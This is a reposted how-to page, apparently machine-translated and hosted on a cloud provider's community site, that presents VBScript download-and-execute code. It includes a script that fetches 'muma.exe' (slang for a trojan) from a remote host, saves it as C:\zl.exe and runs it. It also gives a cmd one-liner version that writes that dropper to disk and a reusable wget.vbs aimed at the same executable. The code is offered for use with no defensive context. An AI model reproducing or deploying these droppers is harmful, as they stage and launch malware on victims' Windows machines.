VBS Downloader (file download via VBScript) _vbs

Source: Internet
Author: User
Tags sleep

One, the VBS download PERSON:

Copy Code code as follows:

Set Post = CreateObject ("Msxml2.xmlhttp")
Set Shell = CreateObject ("Wscript.Shell")
Post.open "Get", "Http://www.jbzj.com/muma.exe", 0
Post.send ()
Set Aget = CreateObject ("ADODB. Stream ")
Aget.mode = 3
Aget.type = 1
Aget.open ()
Aget.write (Post.responsebody)
Aget.savetofile "C:\zl.exe", 2
Wscript.Sleep 1000
Shell.run ("C:\zl.exe") ' After delay to execute download file

Second, the implementation of the version of CMD:

Copy Code code as follows:

echo Set Post = CreateObject ("Msxml2.xmlhttp") >>zl.vbs
echo Set Shell = CreateObject ("Wscript.Shell") >>zl.vbs
echo Post.open "Get", "Http://www.jbzj.com/muma.exe", 0 >>zl.vbs
Echo post.send () >>zl.vbs
echo Set Aget = CreateObject ("ADODB. Stream ") >>zl.vbs
echo Aget.mode = 3 >>zl.vbs
echo Aget.type = 1 >>zl.vbs
Echo Aget.open () >>zl.vbs
echo aget.write (post.responsebody) >>zl.vbs
echo Aget.savetofile "C:\zl.exe", 2 >>zl.vbs
echo Wscript.Sleep 1000 >>zl.vbs
Echo Shell.run ("C:\zl.exe") >>zl.vbs

Third, Wget.vbs

Copy Code code as follows:

On Error Resume Next
Ilocal=lcase (WScript.Arguments (1))
Iremote=lcase (wscript.arguments (0))
Iuser=lcase (WScript.Arguments (2))
Ipass=lcase (WScript.Arguments (3))
Set Xpost=createobject ("Microsoft.XMLHTTP")
If iuser= "" and ipass= "" Then
Xpost.open "Get", iremote,0
Else
Xpost.open "Get", Iremote,0,iuser,ipass
End If
Xpost.send ()
Set Sget=createobject ("ADODB. Stream ")
Sget.mode=3
Sget.type=1
Sget.open ()
Sget.write Xpost.responsebody
Sget.savetofile ilocal,2

How to use: Cscript wget.vbs Http://www.jbzj.com/muma.exe

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.